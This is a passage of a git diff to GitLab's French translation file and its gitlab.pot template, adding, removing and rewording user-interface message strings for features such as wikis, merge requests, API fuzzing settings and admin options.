@@ -31238,9 +31996,6 @@ msgstr "Pour commencer, entrez votre URL FogBugz et vos informations de connexio
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr "Pour commencer, créez un lien vers cette page sur votre serveur Jaeger, ou bien découvrez comment %{link_start_tag}installer Jaeger%{link_end_tag}"
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "Pour commencer, entrez l’URL de votre hôte Gitea et un %{link_to_personal_token}."
@@ -31268,7 +32023,7 @@ msgstr "Pour déplacer ou copier un projet GitLab entier depuis une autre instal
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "Activer/désactiver la navigation"
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "Activer le service d’assistance"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr "Mettez à niveau votre forfait pour activer les webhooks de groupe."
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "Le service d’assistance (Service Desk) permet d’interagir avec vos utilisateurs (p. ex., pour offrir un support client) par courriel depuis GitLab"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr "Afficher les labels"
msgid "View log"
msgstr "Afficher le journal"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Afficher la demande de fusion"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Afficher la documentation"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr "Installer Gollum"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Démarrer Gollum et modifier localement"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "Astuce : Vous pouvez déplacer cette page en ajoutant le chemin au début du titre."
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "Il y a déjà une page avec le même titre pour ce chemin."
@@ -33826,18 +34641,6 @@ msgstr "historique"
msgid "WikiHistoricalPage|most recent version"
msgstr "version la plus récente"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "D’autres exemples se trouvent dans la %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "documentation"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "Astuce : vous pouvez saisir le chemin d’accès complet du nouveau fichier. Nous créerons automatiquement les répertoires manquants."
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "Êtesâ€vous sûr(e) de vouloir supprimer cette page ?"
@@ -33850,10 +34653,37 @@ msgstr "Supprimer la page %{pageTitle} ?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr "Créer la page"
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr "Nouvelle page"
msgid "Wiki|Page history"
msgstr "Historique de la page"
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr "Version de la page"
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr "Vous n’avez souscrit à aucun abonnement pour le moment"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr "Pour aller plus loin, vous devez disposer de git-lfs en version %{min_g
msgid "You need permission."
msgstr "Vous avez besoin d’une autorisation."
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr "Activité de vos projets favoris"
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr "impossible de lire la clef privée, la phrase secrète estâ€elle correc
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://votre-serveur-bitbucket"
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "Si la branche %{branch} existe dans votre dépôt local, vous pouvez fusionner cette demande de fusion manuellement à l’aide de"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Si la branche %{missingBranchName} existe dans votre dépôt local, vous pouvez fusionner cette demande de fusion manuellement en ligne de commande"
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "Vous pouvez fusionner cette demande de fusion manuellement à l’aide de la"
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr "la branche n’existe pas."
-msgid "mrWidget|command line"
-msgstr "ligne de commande"
-
msgid "mrWidget|into"
msgstr "dans"
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr "pour aider vos contributeurs à communiquer efficacement !"
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr "nom d’utilisateur"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index ae9f014fa09..c7b3c85e5d2 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -16,6 +16,9 @@ msgstr ""
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
+msgid " %{name}, confirm your email address now! "
+msgstr ""
+
msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
@@ -31,9 +34,15 @@ msgstr ""
msgid " Please sign in."
msgstr ""
+msgid " Target Path"
+msgstr ""
+
msgid " Try to %{action} this file again."
msgstr ""
+msgid " Type"
+msgstr ""
+
msgid " You need to do this before %{grace_period_deadline}."
msgstr ""
@@ -85,6 +94,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Module"
+msgid_plural "%d Modules"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Other"
msgid_plural "%d Others"
msgstr[0] ""
@@ -402,6 +416,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -530,12 +547,21 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgid "%{gitlab_experience_text}. Don't worry, this information isn't shared outside of your self-managed GitLab instance."
+msgstr ""
+
+msgid "%{gitlab_experience_text}. We won't share this information with anyone."
+msgstr ""
+
+msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr ""
+msgid "%{group_name} activity"
+msgstr ""
+
msgid "%{group_name} group members"
msgstr ""
@@ -620,9 +646,6 @@ msgstr ""
msgid "%{label_for_message} unavailable"
msgstr ""
-msgid "%{label_name} %{span_open}will be permanently deleted from %{subject_name}. This cannot be undone.%{span_close}"
-msgstr ""
-
msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA), that give digital certificates in order to enable HTTPS (SSL/TLS) for websites."
msgstr ""
@@ -814,9 +837,6 @@ msgstr ""
msgid "%{spanStart}in%{spanEnd} %{errorFn}"
msgstr ""
-msgid "%{startDate} - %{endDate}"
-msgstr ""
-
msgid "%{start} to %{end}"
msgstr ""
@@ -911,9 +931,6 @@ msgstr ""
msgid "%{title} changes"
msgstr ""
-msgid "%{token}..."
-msgstr ""
-
msgid "%{totalCpu} (%{freeSpacePercentage}%{percentSymbol} free)"
msgstr ""
@@ -932,6 +949,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} License"
+msgstr ""
+
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -1039,6 +1059,9 @@ msgstr ""
msgid "(deleted)"
msgstr ""
+msgid "(leave blank if you don't want to change it)"
+msgstr ""
+
msgid "(max size 15 MB)"
msgstr ""
@@ -1048,6 +1071,9 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(we need your current password to confirm your changes)"
+msgstr ""
+
msgid "* * * * *"
msgstr ""
@@ -1071,6 +1097,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1362,10 +1391,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
+msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1380,9 +1409,6 @@ msgstr ""
msgid "A merge request hasn't yet been merged"
msgstr ""
-msgid "A milestone list displays issues in the selected milestone."
-msgstr ""
-
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr ""
@@ -1461,13 +1487,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1476,9 +1514,15 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
+msgid "APIFuzzing|Code snippet could not be generated. Try again later."
+msgstr ""
+
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1491,10 +1535,10 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
@@ -1503,7 +1547,7 @@ msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1512,12 +1556,6 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
-msgstr ""
-
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
@@ -1527,6 +1565,9 @@ msgstr ""
msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
+msgid "APIFuzzing|Predefined profiles"
+msgstr ""
+
msgid "APIFuzzing|Scan mode"
msgstr ""
@@ -1539,10 +1580,16 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|The configuration could not be saved, please try again later."
+msgid "APIFuzzing|There are two ways to perform scans."
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
+msgstr ""
+
+msgid "APIFuzzing|Tip: Insert this part below all include"
+msgstr ""
+
+msgid "APIFuzzing|Tip: Insert this part below all stages"
msgstr ""
msgid "APIFuzzing|To prevent a security leak, authentication info must be added as a %{ciVariablesLinkStart}CI variable%{ciVariablesLinkEnd}. A user with maintainer access rights can manage CI variables in the %{ciSettingsLinkStart}Settings%{ciSettingsLinkEnd} area. We detected that you are not a maintainer. Commit your changes and assign them to a maintainer to update the credentials before merging."
@@ -1557,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1737,6 +1781,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1761,17 +1808,15 @@ msgstr ""
msgid "Activity"
msgstr ""
+msgid "Activity|An error occured while retrieving activity. Reload the page to try again."
+msgstr ""
+
msgid "Add"
msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1817,6 +1862,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1892,6 +1940,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1919,9 +1970,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1988,6 +2036,9 @@ msgstr ""
msgid "Add to tree"
msgstr ""
+msgid "Add trigger"
+msgstr ""
+
msgid "Add user(s) to the group:"
msgstr ""
@@ -2009,21 +2060,15 @@ msgstr ""
msgid "AddContextCommits|Add/remove"
msgstr ""
-msgid "AddMember|Already a member of %{source_name}"
+msgid "AddMember|Emails cannot be blank"
msgstr ""
-msgid "AddMember|Email cannot be blank"
+msgid "AddMember|Invite email is invalid"
msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
-msgid "AddMember|Member already invited to %{source_name}"
-msgstr ""
-
-msgid "AddMember|Member cannot be invited because they already requested to join %{source_name}"
-msgstr ""
-
msgid "AddMember|No users specified."
msgstr ""
@@ -2063,9 +2108,15 @@ msgstr ""
msgid "Additional minutes"
msgstr ""
+msgid "Additional minutes:"
+msgstr ""
+
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2093,6 +2144,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2177,9 +2231,6 @@ msgstr ""
msgid "AdminArea|New user"
msgstr ""
-msgid "AdminArea|Once the instance reaches the user cap, any user who is added or requests access will have to be approved by an admin. Leave the field empty for unlimited."
-msgstr ""
-
msgid "AdminArea|Owner"
msgstr ""
@@ -2204,9 +2255,6 @@ msgstr ""
msgid "AdminArea|Total users"
msgstr ""
-msgid "AdminArea|User cap"
-msgstr ""
-
msgid "AdminArea|Users"
msgstr ""
@@ -2234,9 +2282,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2246,9 +2291,6 @@ msgstr ""
msgid "AdminProjects|Delete Project %{projectName}?"
msgstr ""
-msgid "AdminSettings|Apply integration settings to all Projects"
-msgstr ""
-
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
@@ -2267,9 +2309,6 @@ msgstr ""
msgid "AdminSettings|Go to General Settings"
msgstr ""
-msgid "AdminSettings|Integrations configured here will automatically apply to all projects on this instance."
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2288,16 +2327,19 @@ msgstr ""
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
+msgid "AdminSettings|See affected service templates"
+msgstr ""
+
msgid "AdminSettings|Select a pipeline configuration file"
msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
-msgid "AdminSettings|Service Templates will soon be deprecated."
+msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
-msgid "AdminSettings|Service template allows you to set default values for integrations"
+msgid "AdminSettings|Service templates are deprecated and will be removed in GitLab 14.0."
msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
@@ -2318,10 +2360,13 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
-msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
